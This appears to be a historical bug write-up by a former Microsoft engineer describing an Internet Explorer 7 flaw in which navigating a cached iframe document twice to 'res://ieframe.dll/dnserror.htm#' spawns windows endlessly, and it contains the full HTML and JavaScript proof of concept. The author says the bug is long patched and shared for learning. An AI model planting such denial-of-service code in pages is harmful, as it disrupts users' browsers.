On the same day as the res:// crash, I was experimenting with what happened when you appended a # fragment to the same res://ieframe.dll/dnserror.htm URL in the cached-document navigation. Instead of crashing, the browser entered an infinite window-spawning loop. The only difference from the crash variant was a single # character at the end of the URL. The browser had to be killed via Task Manager to recover.

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head><title>IE7_InifiniteOpenedWindows_swf_dnsError_html</title></head>
<body>
<font face="Tahoma" size="2">
<center><h2>IE7_InifiniteOpenedWindows_swf_dnsError_html</h2></center>
<center>
<input type="button" value="Do It!" onclick="loadItTwice()"><br />
(Be prepared to kill the IE process because multiple windows will start opening in 5 seconds. The only difference with this bug and the previous DoS_IE7_swf_ResProtocol is the # sign at the end of the URL.
</center>
<hr />
1) Load any <font color="blue"><b>swf</b></font> inside an IFRAME.<br />

<font color="red">window[0]</font>.location.replace('<font color="blue">empty.swf</font>');<br /><br />

2) Cache the <font color="blue"><b>D</b></font>ocument of the IFRAME in the <b>cachedDocument</b> variable.<br />
<font color="blue">cachedDocument</font> = document.all.flashContainer.<font color="blue"><b>D</b></font>ocument;<br /><br />
3) Change the URL of the IFRAME.<br />
window[0].location = "<font color="blue">about:blank</font>";<br /><br />

4) Change location of the cached <font color="blue"><b>D</b></font>ocument.<br />
<font color="blue"><b>cachedDocument</b>.parentWindow.location</font> = 'res://ieframe.dll/dnserror.htm<b>#</b>';<br /><br />

5) Change location of the cached <font color="blue"><b>D</b></font>ocument again, and infinite windows will start opening.<br />
<font color="blue"><b>cachedDocument</b>.parentWindow.location</font> = 'res://ieframe.dll/dnserror.htm<b>#</b>';<br /><br />

<hr />
<br />
<center>
	<iframe id="flashContainer" width="100" height="100"></iframe>
</center>
</font>


<script language="JavaScript">
var cachedDocument;
function loadItTwice()
{
	window[0].location.replace('empty.swf');

	setTimeout('cachedDocument = document.all.flashContainer.Document;', 1000);

	setTimeout('window[0].location = "about:blank";', 2000);
	setTimeout('cachedDocument.parentWindow.location = "res://ieframe.dll/dnserror.htm#";', 3000);
	setTimeout('cachedDocument.parentWindow.location = "res://ieframe.dll/dnserror.htm#";', 5000);
}
</script>
</body>
</html>

The # fragment appended to a res:// URL appears to have triggered a different code path in IE’s navigation handling — one where instead of crashing, the browser got into a loop where each navigation attempt opened a new browser window. The fragment identifier may have caused the internal dnserror.htm page to re-trigger its own “open new window” logic on each pass, creating an unbounded cascade. It is a good example of how a one-character difference in a URL can turn a crash into a logically different (but equally severe) denial-of-service.

Found during my years at Microsoft (2006–2014). These bugs were patched long ago — shared here as a historical record for learning purposes.